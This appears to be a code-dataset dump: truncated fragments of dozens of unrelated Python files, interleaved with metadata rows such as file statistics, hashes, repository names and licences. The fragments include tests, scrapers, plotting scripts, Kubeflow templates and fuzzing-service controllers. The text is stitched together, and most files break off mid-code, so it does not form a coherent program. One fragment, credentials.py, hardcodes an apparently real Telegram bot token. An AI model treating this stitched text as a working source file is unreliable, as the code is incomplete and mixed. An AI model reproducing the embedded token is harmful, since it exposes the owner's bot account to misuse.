# Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved. # Copyright 2021 The HuggingFace Inc. team. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http:/...
41.414634
109
0.631331
774808baf20e14b2a2c05466b2ef95ec87b6e02a
2,428
py
Python
Imagenes/Stefan/2D/CasoA/plotData.py
efogliatto/Tesis
058fa0c2e23cd538621d17d41bb216a4db4d211a
[ "CC0-1.0" ]
null
null
null
Imagenes/Stefan/2D/CasoA/plotData.py
efogliatto/Tesis
058fa0c2e23cd538621d17d41bb216a4db4d211a
[ "CC0-1.0" ]
null
null
null
Imagenes/Stefan/2D/CasoA/plotData.py
efogliatto/Tesis
058fa0c2e23cd538621d17d41bb216a4db4d211a
[ "CC0-1.0" ]
null
null
null
import numpy as np import matplotlib matplotlib.use('Agg') import matplotlib.pyplot as plt import argparse import matplotlib.ticker as mticker import locale if __name__ == "__main__": # Argumentos de consola parser = argparse.ArgumentParser(description='Gráfico del frente de evaporación') ...
19.11811
90
0.487232
774b3e08c8fce14dbde11c24e147355ef60607b2
5,489
py
Python
test/test_npu/test_network_ops/test_addbmm.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-12-02T03:07:35.000Z
2021-12-02T03:07:35.000Z
test/test_npu/test_network_ops/test_addbmm.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
1
2021-11-12T07:23:03.000Z
2021-11-12T08:28:13.000Z
test/test_npu/test_network_ops/test_addbmm.py
Ascend/pytorch
39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc
[ "BSD-3-Clause" ]
null
null
null
# Copyright (c) 2020, Huawei Technologies.All rights reserved. # # Licensed under the BSD 3-Clause License (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://opensource.org/licenses/BSD-3-Clause # # Unless required by applicable law...
42.550388
119
0.640918
626fd05748728d0b197bd95e183956ce946293e6
849
py
Python
data/streetnamesdb.py
Janrupf/airport-db-seeding
768a9373f02ede5bf613d09270d2fbe84de37a97
[ "MIT" ]
null
null
null
data/streetnamesdb.py
Janrupf/airport-db-seeding
768a9373f02ede5bf613d09270d2fbe84de37a97
[ "MIT" ]
null
null
null
data/streetnamesdb.py
Janrupf/airport-db-seeding
768a9373f02ede5bf613d09270d2fbe84de37a97
[ "MIT" ]
null
null
null
class StreetNamesDB: def __init__(self, cache): street_names = cache.resolve_entry("street-names.txt", StreetNamesDB.download_street_names) with open(street_names, "r") as f: self.street_names = [street_name.strip() for street_name in f] print(f"Street name database initialized...
38.590909
155
0.657244
6279446ac1ed34172f623addd606c7be28762b10
261
py
Python
Programming Languages/Python/Theory/100_Python_Challenges/Section_2_String/32. convert a string with decimals to an integer.py
jaswinder9051998/Resources
fd468af37bf24ca57555d153ee64693c018e822e
[ "MIT" ]
101
2021-12-20T11:57:11.000Z
2022-03-23T09:49:13.000Z
Programming Languages/Python/Theory/100_Python_Challenges/Section_2_String/32. convert a string with decimals to an integer.py
Sid-1164/Resources
3987dcaeddc8825f9bc79609ff26094282b8ece1
[ "MIT" ]
4
2022-01-12T11:55:56.000Z
2022-02-12T04:53:33.000Z
Programming Languages/Python/Theory/100_Python_Challenges/Section_2_String/32. convert a string with decimals to an integer.py
Sid-1164/Resources
3987dcaeddc8825f9bc79609ff26094282b8ece1
[ "MIT" ]
38
2022-01-12T11:56:16.000Z
2022-03-23T10:07:52.000Z
""" Write a function that accepts a string with decimals and converts it to an integer. Example: input_string = '12.34' Expected output = 12 """ def str_to_int(input_string): input_string= int(float(input_string)) return input_string
15.352941
83
0.697318
029a6a43e9b0a868f6dc0d67062922db23b7994f
835
py
Python
src/test/tests/databases/SPCTH.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
226
2018-12-29T01:13:49.000Z
2022-03-30T19:16:31.000Z
src/test/tests/databases/SPCTH.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
5,100
2019-01-14T18:19:25.000Z
2022-03-31T23:08:36.000Z
src/test/tests/databases/SPCTH.py
visit-dav/vis
c08bc6e538ecd7d30ddc6399ec3022b9e062127e
[ "BSD-3-Clause" ]
84
2019-01-24T17:41:50.000Z
2022-03-10T10:01:46.000Z
# ---------------------------------------------------------------------------- # CLASSES: nightly # # Test Case: SPCTH.py # # Programmer: Kevin Griffin # Date: September 15, 2017 # # Modifications: # # ---------------------------------------------------------------------------- #efp2d.spcth OpenDatabase...
23.194444
78
0.610778
02e4fba2d68c525e0726e27cc63babd07c62676c
137
py
Python
IVTp/2014/SOBOLEV_M_V/task_2_24.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
IVTp/2014/SOBOLEV_M_V/task_2_24.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
IVTp/2014/SOBOLEV_M_V/task_2_24.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
print('Великое благо, что святые отцы оставили нам своим опытом испытанные советы. Чаще заглядывай в книги. \n\t\t\t Иоанн (Алексеев).')
68.5
136
0.766423
cedad8a9664660b36767023939ab77dbb567e8f5
1,900
py
Python
text_selection/scrape_zenon.py
dainst/chronoi-corpus-processing
7f508a7572e1022c4c88d1477db029e6619a1f0c
[ "MIT" ]
null
null
null
text_selection/scrape_zenon.py
dainst/chronoi-corpus-processing
7f508a7572e1022c4c88d1477db029e6619a1f0c
[ "MIT" ]
null
null
null
text_selection/scrape_zenon.py
dainst/chronoi-corpus-processing
7f508a7572e1022c4c88d1477db029e6619a1f0c
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import argparse import json import requests import sys _ZENON_URL="http://zenontest.dainst.org" class ZenonSearch: def __init__(self, records_per_page = 20): self.url = f"{_ZENON_URL}/api/v1/search" self.params = { "type": "AllFields", ...
26.388889
104
0.608421
0b28e8ab89a7e7f2d70d51971f7cca4c2db0a954
4,111
py
Python
DBSCAN/src/utils.py
quqixun/MLAlgorithms
1ad46a899a6280a08c196fb4eb0931408c8636c7
[ "MIT" ]
2
2018-04-25T18:00:28.000Z
2018-08-08T09:39:18.000Z
DBSCAN/src/utils.py
quqixun/MLAlgorithms
1ad46a899a6280a08c196fb4eb0931408c8636c7
[ "MIT" ]
null
null
null
DBSCAN/src/utils.py
quqixun/MLAlgorithms
1ad46a899a6280a08c196fb4eb0931408c8636c7
[ "MIT" ]
2
2019-03-03T02:55:48.000Z
2021-01-21T04:50:46.000Z
# Conventional Machine Learning Algorithms # Helper functions for Class of "KMeans". # Author: Qixun Qu # Create on: 2018/06/13 # Modify on: 2018/06/16 # ,,, ,,, # ;" '; ;' ", # ; @.ss$$$$$$s.@ ; # `s$$$$$$$$$$$$$$$' # $$$$$$$$$$$$$$$$$$ # $$$$P""Y$$$Y""W$$$$$ # $$$$ p"$$$"q $$$$$ # ...
30.679104
78
0.576745
0b5b01b289eb93cab3e63f9c74f269f8647e4b17
884
py
Python
doc/simulations/jac--m5sf-2/analyse.py
ghsecuritylab/project-powerline
6c0ec13bbfc11c3790c506f644db4fe45021440a
[ "MIT" ]
null
null
null
doc/simulations/jac--m5sf-2/analyse.py
ghsecuritylab/project-powerline
6c0ec13bbfc11c3790c506f644db4fe45021440a
[ "MIT" ]
null
null
null
doc/simulations/jac--m5sf-2/analyse.py
ghsecuritylab/project-powerline
6c0ec13bbfc11c3790c506f644db4fe45021440a
[ "MIT" ]
1
2020-03-08T01:50:58.000Z
2020-03-08T01:50:58.000Z
#!/usr/bin/env python3 import pylab as plt import numpy as np # Read image from disk and filter all grayscale im = plt.imread("jac--m6sf-3--iv-curve--2.png")[:,:,:3] im -= im.mean(axis=2).reshape(im.shape[0], im.shape[1], 1).repeat(3,axis=2) im_maxnorm = im.max(axis=2) # Find y-position of remaining line ypos = np.o...
22.666667
75
0.671946
6832ed3c4467a50a01c65b3bf435bd72e3101bc8
2,826
py
Python
rbac/ledger_sync/outbound/listener.py
fthornton67/sawtooth-next-directory
79479afb8d234911c56379bb1d8abf11f28ef86d
[ "Apache-2.0" ]
75
2018-04-06T09:13:34.000Z
2020-05-18T18:59:47.000Z
rbac/ledger_sync/outbound/listener.py
fthornton67/sawtooth-next-directory
79479afb8d234911c56379bb1d8abf11f28ef86d
[ "Apache-2.0" ]
989
2018-04-18T21:01:56.000Z
2019-10-23T15:37:09.000Z
rbac/ledger_sync/outbound/listener.py
fthornton67/sawtooth-next-directory
79479afb8d234911c56379bb1d8abf11f28ef86d
[ "Apache-2.0" ]
72
2018-04-13T18:29:12.000Z
2020-05-29T06:00:33.000Z
# Copyright 2019 Contributors to Hyperledger Sawtooth # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
32.860465
94
0.656759
68438c65b33ab0195df914eabe0812898058aa61
3,303
py
Python
pyconuk/models.py
PyconUK/2017.pyconuk.org
337a00c034a15e5b41a8ea8683dd44310e14fb9c
[ "MIT" ]
3
2017-10-24T13:33:29.000Z
2017-10-30T10:47:28.000Z
pyconuk/models.py
PyconUK/2017.pyconuk.org
337a00c034a15e5b41a8ea8683dd44310e14fb9c
[ "MIT" ]
78
2017-02-14T16:49:58.000Z
2018-04-19T06:28:42.000Z
pyconuk/models.py
PyconUK/2017.pyconuk.org
337a00c034a15e5b41a8ea8683dd44310e14fb9c
[ "MIT" ]
36
2017-06-19T07:48:38.000Z
2018-01-19T11:08:10.000Z
import datetime import re from django.db import models from django_amber.models import ModelWithContent, ModelWithoutContent class Page(ModelWithContent): title = models.CharField(max_length=100) template = models.CharField(max_length=20, default='page.html') show_sponsors = models.BooleanField(default=T...
27.297521
69
0.64396
d7ff031ab0abd588fa53ccfe09d6260f121d5c91
451
py
Python
time_util.py
pku601/LDA
a4bcd3e40ed2920dc29bf0270eab05b245ea003e
[ "Apache-2.0" ]
null
null
null
time_util.py
pku601/LDA
a4bcd3e40ed2920dc29bf0270eab05b245ea003e
[ "Apache-2.0" ]
null
null
null
time_util.py
pku601/LDA
a4bcd3e40ed2920dc29bf0270eab05b245ea003e
[ "Apache-2.0" ]
null
null
null
import time import datetime def Caltime(date1, date2): date1 = time.strptime(date1, "%Y-%m-%d %H:%M:%S") date2 = time.strptime(date2, "%Y-%m-%d %H:%M:%S") date1 = datetime.datetime(date1[0],date1[1],date1[2],date1[3],date1[4],date1[5]) date2 = datetime.datetime(date2[0],date2[1],date2[2],date2[3],date...
30.066667
84
0.638581
0407564e631aa88a6b87a4f924f3a79bcf737386
742
py
Python
source/pkgsrc/devel/talloc/patches/patch-buildtools_wafsamba_samba__utils.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-11-20T22:46:39.000Z
2021-11-20T22:46:39.000Z
source/pkgsrc/devel/talloc/patches/patch-buildtools_wafsamba_samba__utils.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
source/pkgsrc/devel/talloc/patches/patch-buildtools_wafsamba_samba__utils.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
$NetBSD: patch-buildtools_wafsamba_samba__utils.py,v 1.2 2019/06/22 12:52:44 jmcneill Exp $ Fixes a build failure when the letter 'j' appears in MAKEFLAGS. --- buildtools/wafsamba/samba_utils.py.orig 2019-03-21 10:12:32.000000000 +0000 +++ buildtools/wafsamba/samba_utils.py @@ -519,10 +519,7 @@ def CHECK_MAKEFLAGS(op...
39.052632
91
0.526954
f0ea7b525dcfefc8c0f0d347cff97e3d00820157
2,175
py
Python
python_experiments/data_analysis/vldbj_data_parsing/probesim_querying_time_statistics.py
RapidsAtHKUST/SimRank
3a601b08f9a3c281e2b36b914e06aba3a3a36118
[ "MIT" ]
8
2020-04-14T23:17:00.000Z
2021-06-21T12:34:04.000Z
python_experiments/data_analysis/vldbj_data_parsing/probesim_querying_time_statistics.py
RapidsAtHKUST/SimRank
3a601b08f9a3c281e2b36b914e06aba3a3a36118
[ "MIT" ]
null
null
null
python_experiments/data_analysis/vldbj_data_parsing/probesim_querying_time_statistics.py
RapidsAtHKUST/SimRank
3a601b08f9a3c281e2b36b914e06aba3a3a36118
[ "MIT" ]
1
2021-01-17T16:26:50.000Z
2021-01-17T16:26:50.000Z
import json import os from data_analysis.vldbj_data_parsing.indexing_time_space_statistics import get_tag_info, format_str, data_set_lst pair_num_lst = [10 ** 4, 10 ** 5] query_time_tag = 'total query cpu time' suffix_str = '.txt' probesim_folder = '/home/yche/mnt/wangyue-clu/csproject/biggraph/ywangby/' \ ...
38.839286
117
0.716322
a89d1a2258505d64b7cdee2f771cd59b07001aba
4,159
py
Python
fuzzsvc/controller/Target.py
ifoundthetao/FuzzFlow
86559ac7f85fc89510c0d9647e02880edb95aa2a
[ "MIT" ]
53
2016-08-26T02:51:45.000Z
2021-05-24T21:05:44.000Z
controller/Target.py
FingerLeakers/FuzzFlow
3f2de617c3658904f9640f53a05d5e4e90634e32
[ "MIT" ]
null
null
null
controller/Target.py
FingerLeakers/FuzzFlow
3f2de617c3658904f9640f53a05d5e4e90634e32
[ "MIT" ]
31
2016-08-26T04:08:31.000Z
2021-05-24T21:05:54.000Z
from flask_restful import Resource, reqparse from model.FuzzingTarget import FuzzingTarget from model.FuzzingArch import FuzzingArch from model.FuzzingPlatform import FuzzingPlatform #from model.FuzzingConfig import FuzzingConfig from app import app db = app.config['db'] class TargetCtrl(Resource): def create(s...
34.658333
82
0.58692
764c3ac434bea8bc5394bdc3730c8bc0e1aca5f4
382
py
Python
util/config.py
xinlwa/HashTag
44d86b2d83db42990dfc0246e99d0c90bf461b0c
[ "Apache-2.0" ]
1
2017-12-22T07:42:09.000Z
2017-12-22T07:42:09.000Z
util/config.py
xinlwa/HashTag
44d86b2d83db42990dfc0246e99d0c90bf461b0c
[ "Apache-2.0" ]
null
null
null
util/config.py
xinlwa/HashTag
44d86b2d83db42990dfc0246e99d0c90bf461b0c
[ "Apache-2.0" ]
null
null
null
path = '../data/' weibo_data_hive = path + 'weibo_data_root' weibo_hashtag_index = path + 'weibo_hashtag_index' weibo_hashtag_feature = path + 'weibo_hashtag_path_data' weibo_data_hive_path = path + 'weibo_data_hive_path' weibo_original = path + 'weibo_original' weibo_report = path + 'weibo_report' weibo_name = path + ...
34.727273
56
0.774869
76b91d8cf11a1189e8ae8a8e3d54128ac26b72ef
322
py
Python
python_lessons/PythonPDF/OpenCV/mapper.py
1986MMartin/coding-sections-markus
e13be32e5d83e69250ecfb3c76a04ee48a320607
[ "Apache-2.0" ]
null
null
null
python_lessons/PythonPDF/OpenCV/mapper.py
1986MMartin/coding-sections-markus
e13be32e5d83e69250ecfb3c76a04ee48a320607
[ "Apache-2.0" ]
null
null
null
python_lessons/PythonPDF/OpenCV/mapper.py
1986MMartin/coding-sections-markus
e13be32e5d83e69250ecfb3c76a04ee48a320607
[ "Apache-2.0" ]
null
null
null
# import the necessary packages import numpy as np import cv2 def order_points(pts): rect = np.zeros((4, 2), dtype = "float32") s = pts.sum(axis = 1) rect[0] = pts[np.argmin(s)] rect[2] = pts[np.argmax(s)] diff = np.diff(pts, axis = 1) rect[1] = pts[np.argmin(diff)] rect[3] = pts[np.argmax(diff)] return re...
21.466667
43
0.642857
4fa9d2cfeeb3bebca4143bd22b6d8f8d455eea1a
415
py
Python
tasks/urls.py
eliasgruenewald/Frudo
4fec4dbc29231d3da67481e3775cecc41af507bc
[ "MIT" ]
null
null
null
tasks/urls.py
eliasgruenewald/Frudo
4fec4dbc29231d3da67481e3775cecc41af507bc
[ "MIT" ]
null
null
null
tasks/urls.py
eliasgruenewald/Frudo
4fec4dbc29231d3da67481e3775cecc41af507bc
[ "MIT" ]
null
null
null
from django.urls import path from . import views app_name = 'tasks' urlpatterns = [ path('', views.IndexView.as_view(), name='index'), path('<int:pk>/', views.DetailView.as_view(), name='detail'), path('create/', views.NewTaskView.as_view(), name='create'), path('newlabel/', views.NewLabelView.as_view...
31.923077
70
0.660241
4fdbfbbf0e6a138406cbf8e5035db67e7df09aa6
1,067
py
Python
tarefas-poo/lista-03/relogio/view/paineis/painel_compara_relogios.py
victoriaduarte/POO_UFSC
0c65b4f26383d1e3038d8469bd91fd2c0cb98c1a
[ "MIT" ]
null
null
null
tarefas-poo/lista-03/relogio/view/paineis/painel_compara_relogios.py
victoriaduarte/POO_UFSC
0c65b4f26383d1e3038d8469bd91fd2c0cb98c1a
[ "MIT" ]
null
null
null
tarefas-poo/lista-03/relogio/view/paineis/painel_compara_relogios.py
victoriaduarte/POO_UFSC
0c65b4f26383d1e3038d8469bd91fd2c0cb98c1a
[ "MIT" ]
null
null
null
# -------------------------- # UFSC - CTC - INE - INE5663 # Exercício do Relógio # -------------------------- # Classe que permite comparar dois relógios. # from model.relogio import Relogio class PainelComparaRelogios: def compare(self, relogio): continuar = True while continuar: hms ...
38.107143
78
0.535145
4fe040fc7709ef85a097ca7c5e007401b4d116d1
55,436
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/network/network_editor.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/network/network_editor.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/contributed/sumopy/coremodules/network/network_editor.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
# Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2016-2020 German Aerospace Center (DLR) and others. # SUMOPy module # Copyright (C) 2012-2017 University of Bologna - DICAM # This program and the accompanying materials are made available under the # terms of the Eclipse Public ...
39.540656
209
0.576196
fa334f69d85c276eb16668491a8ee92451b8fafc
7,615
py
Python
notebooks/05_Kubeflow_Pipeline/src/mnist/src/resource_provider.py
kerstinpittl/kubeflow-workshop
22a0acbad8881b3049788b82c82fe2379a1f424b
[ "Apache-2.0" ]
92
2019-10-09T23:28:40.000Z
2022-03-19T10:52:30.000Z
notebooks/05_Kubeflow_Pipeline/src/mnist/src/resource_provider.py
kerstinpittl/kubeflow-workshop
22a0acbad8881b3049788b82c82fe2379a1f424b
[ "Apache-2.0" ]
72
2019-10-14T17:55:42.000Z
2021-07-26T18:16:06.000Z
notebooks/05_Kubeflow_Pipeline/src/mnist/src/resource_provider.py
kerstinpittl/kubeflow-workshop
22a0acbad8881b3049788b82c82fe2379a1f424b
[ "Apache-2.0" ]
51
2019-09-23T22:46:48.000Z
2022-01-25T09:54:52.000Z
import json from string import Template def uivirtualsvc_resource(namespace, ui_name): uivirtualservicejson_template = Template(""" { "apiVersion": "networking.istio.io/v1alpha3", "kind": "VirtualService", "metadata": { "name": "$uiname", "namespace": "$namespace" }, ...
24.967213
104
0.389626
ad409a1f228f1aabe371d75102ac1ca228a45bdf
6,304
py
Python
python/oneflow/test/modules/test_tensor_str.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
null
null
null
python/oneflow/test/modules/test_tensor_str.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
null
null
null
python/oneflow/test/modules/test_tensor_str.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
null
null
null
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
34.637363
88
0.667354
7e34c25b58e2a29066a1843169864199a815851d
141
py
Python
Licence 1/I11/TP4/ex6.1.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
8
2020-11-26T20:45:12.000Z
2021-11-29T15:46:22.000Z
Licence 1/I11/TP4/ex6.1.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
null
null
null
Licence 1/I11/TP4/ex6.1.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
6
2020-10-23T15:29:24.000Z
2021-05-05T19:10:45.000Z
u = (1.0, 2.0, -1.0, 0.5) v = (2.0, 5.0, 9.5, -2.0) somme = () i = 0 while i < len(u): somme += (u[i] + v[i],) i += 1 print(somme)
12.818182
27
0.397163
7eb4c07cd617d62a4d7d979d38b73f1e52fd2d79
335
py
Python
ACM Training/2018-05-19/test.py
Wycers/Codelib
86d83787aa577b8f2d66b5410e73102411c45e46
[ "MIT" ]
22
2018-08-07T06:55:10.000Z
2021-06-12T02:12:19.000Z
ACM Training/2018-05-19/test.py
Wycers/Codelib
86d83787aa577b8f2d66b5410e73102411c45e46
[ "MIT" ]
28
2020-03-04T23:47:22.000Z
2022-02-26T18:50:00.000Z
ACM Training/2018-05-19/test.py
Wycers/Codelib
86d83787aa577b8f2d66b5410e73102411c45e46
[ "MIT" ]
4
2019-11-09T15:41:26.000Z
2021-10-10T08:56:57.000Z
a = [[0 for i in range(5000)] for i in range(5000)] a[0][0] = 2 for i in range(1, 5000): a[0][i] = a[0][i - 1] + 1 a[i][0] = a[i - 1][0] + 1 for i in range(1, 5000): for j in range(1, 5000): a[i][j] = a[i - 1][j] + a[i][j - 1] x, y = i + 1, i + 1 print(i + 1, a[x - 1][y - 1] * (x + y - 1) ...
27.916667
62
0.423881
7eca68e4613d6ef5d7fd8609d754ee7b560aa865
2,763
py
Python
modules/inspect_nn.py
J0nasW/Bachelorarbeit
37052be075713f2016d42782397ff875e3e982f8
[ "MIT" ]
null
null
null
modules/inspect_nn.py
J0nasW/Bachelorarbeit
37052be075713f2016d42782397ff875e3e982f8
[ "MIT" ]
null
null
null
modules/inspect_nn.py
J0nasW/Bachelorarbeit
37052be075713f2016d42782397ff875e3e982f8
[ "MIT" ]
null
null
null
""" INSPECT MODULE to show parameter Matrices CALL BY: <inspect.py> RETURN: Print of stored parameter Matrices INFO: - """ # Some dependencies import numpy as np # Maths and stuff import hickle as hkl def parameters(parameter_matrices): result = hkl.load(parameter_matrices) w_A_rnd = result[...
30.362637
105
0.680782
7d3d96f9a1b0b10b721566a10b30bd01a79258f8
34,333
py
Python
python/web_version/controllers/default.py
derHahn/SBtab
da998eacc49f7f29d8168be366eb0c211c3adb5f
[ "MIT" ]
4
2015-02-20T09:20:10.000Z
2018-02-05T10:54:10.000Z
python/web_version/controllers/default.py
tlubitz/SBtab
da998eacc49f7f29d8168be366eb0c211c3adb5f
[ "MIT" ]
80
2018-04-13T13:46:24.000Z
2022-02-16T16:01:46.000Z
python/web_version/controllers/default.py
tlubitz/SBtab
da998eacc49f7f29d8168be366eb0c211c3adb5f
[ "MIT" ]
6
2018-06-06T19:55:32.000Z
2021-09-30T15:16:40.000Z
# -*- coding: utf-8 -*- # this file is released under public domain and you can use without limitations ######################################################################### ## This is a sample controller ## - index is the default action of any application ## - user is required for authentication and authorization...
42.28202
187
0.596773
bc22b160420b661df14c2283cd2ee6559d37b844
155
py
Python
bot/webapp/credentials.py
devtools4me/ticker-analyzer
7073e6255ff491edd45e3ccc63d5113f16098862
[ "Apache-2.0" ]
null
null
null
bot/webapp/credentials.py
devtools4me/ticker-analyzer
7073e6255ff491edd45e3ccc63d5113f16098862
[ "Apache-2.0" ]
null
null
null
bot/webapp/credentials.py
devtools4me/ticker-analyzer
7073e6255ff491edd45e3ccc63d5113f16098862
[ "Apache-2.0" ]
null
null
null
bot_token = "1841422646:AAFCsCISuUn-BSKYWe2wHzpGi66yeMXKszk" bot_user_name = "TickerAnalyzerBot" URL = "https://gorgeous-bryce-canyon-08540.herokuapp.com/"
51.666667
60
0.819355
70ba64c6fec31ee62ca1ecd769dd4fde4736c173
177
py
Python
synchroload/plugins/dummy.py
rakennus/duraphilms.github.io
bdbecdfb55f4870b5ebf572cd2a7eb4e6770ea22
[ "MIT" ]
3
2020-07-08T08:58:46.000Z
2020-12-01T20:23:30.000Z
synchroload/plugins/dummy.py
rakennus/duraphilms.github.io
bdbecdfb55f4870b5ebf572cd2a7eb4e6770ea22
[ "MIT" ]
1
2020-12-30T12:49:43.000Z
2021-01-04T11:05:48.000Z
synchroload/plugins/dummy.py
rakennus/duraphilms.github.io
bdbecdfb55f4870b5ebf572cd2a7eb4e6770ea22
[ "MIT" ]
2
2018-06-21T17:45:11.000Z
2020-12-30T00:30:45.000Z
HOSTER_NAME = "dummy" HOSTER_HAS_DIRECT_LINKS = False HOSTER_KEEP_UNAVAILABLE_UPLOADS = False def linkFromId(id): return id def upload(filename): return "randooomid"
16.090909
39
0.768362
cb0683f307b349e0c87f71c2ac334901c13f88c5
1,351
py
Python
Projeto Base (Estudo)/Material/Projeto.py
lucashbdutra/ETL
5455fe3164daa76b03afb33a86b7ec6e66643bf9
[ "MIT" ]
null
null
null
Projeto Base (Estudo)/Material/Projeto.py
lucashbdutra/ETL
5455fe3164daa76b03afb33a86b7ec6e66643bf9
[ "MIT" ]
null
null
null
Projeto Base (Estudo)/Material/Projeto.py
lucashbdutra/ETL
5455fe3164daa76b03afb33a86b7ec6e66643bf9
[ "MIT" ]
null
null
null
import pandas as pd import pandera as pa df = pd.read_csv('ocorrencia.csv', parse_dates=['ocorrencia_dia'], dayfirst=True) #fazer a leitura da tablea, parse_data: faz a conversão para data e dayfirst: faz com que o dia seja o primeiro número df.head(10) schema = pa.DataFrameSchema( #cria um esquema para o data frame ...
61.409091
200
0.72909
1db2e241502273c28ebc5546eceedce995b76969
835
py
Python
fuzzsvc/model/_deprecated_FuzzingConfig.py
ifoundthetao/FuzzFlow
86559ac7f85fc89510c0d9647e02880edb95aa2a
[ "MIT" ]
53
2016-08-26T02:51:45.000Z
2021-05-24T21:05:44.000Z
model/_deprecated_FuzzingConfig.py
FingerLeakers/FuzzFlow
3f2de617c3658904f9640f53a05d5e4e90634e32
[ "MIT" ]
null
null
null
model/_deprecated_FuzzingConfig.py
FingerLeakers/FuzzFlow
3f2de617c3658904f9640f53a05d5e4e90634e32
[ "MIT" ]
31
2016-08-26T04:08:31.000Z
2021-05-24T21:05:54.000Z
from app import app from model.FuzzingEngine import fuzzing_engine_config db = app.config['db'] class FuzzingConfig(db.Model): id = db.Column(db.Integer, primary_key=True) host_id = db.Column(db.Integer, db.ForeignKey('fuzzing_host.id')) host = db.relationship('FuzzingHost', foreign_keys=host_id) arch...
39.761905
83
0.713772
1de611f2d2fb6a617029ceedaaba0309b722782f
5,219
py
Python
Tests/scripts/utils/log_util.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Tests/scripts/utils/log_util.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Tests/scripts/utils/log_util.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import logging import os import sys import coloredlogs from demisto_sdk.commands.test_content.ParallelLoggingManager import LOGGING_FORMAT, LEVEL_STYLES, ARTIFACTS_PATH def _add_logging_level(level_name: str, level_num: int, method_name: str = None, logger=logging) -> None: """ Comprehensively adds a new lo...
41.420635
118
0.701667
aa75fa71ced12f4df20834abebd7d3b4e0e76d8d
2,699
py
Python
methods/eval.py
INK-USC/RiddleSense
a3d57eaf084da9cf6b77692c608e2cd2870fbd97
[ "MIT" ]
3
2021-07-06T20:02:31.000Z
2022-03-27T13:13:01.000Z
methods/eval.py
INK-USC/RiddleSense
a3d57eaf084da9cf6b77692c608e2cd2870fbd97
[ "MIT" ]
null
null
null
methods/eval.py
INK-USC/RiddleSense
a3d57eaf084da9cf6b77692c608e2cd2870fbd97
[ "MIT" ]
null
null
null
import json import collections from collections import defaultdict from tqdm import tqdm from absl import app, flags import pickle import numpy as np def eval_npy(prediction_file): """Main fucntion.""" instances = [] with open("models/data_dir/riddle_sense/rs_test.jsonl") as f: ...
37.486111
85
0.703594
2ae4bcb46b88ee25a0e83d995982db7630001283
233
py
Python
test/test_weapon.py
DangerOnTheRanger/project-panzee
9392a3d8c4a0acbac80905e164dca91b691022ab
[ "BSD-2-Clause" ]
5
2015-07-16T20:44:58.000Z
2016-04-19T03:47:46.000Z
test/test_weapon.py
DangerOnTheRanger/project-panzee
9392a3d8c4a0acbac80905e164dca91b691022ab
[ "BSD-2-Clause" ]
6
2015-12-23T07:05:06.000Z
2016-07-03T22:29:03.000Z
test/test_weapon.py
DangerOnTheRanger/project-panzee
9392a3d8c4a0acbac80905e164dca91b691022ab
[ "BSD-2-Clause" ]
null
null
null
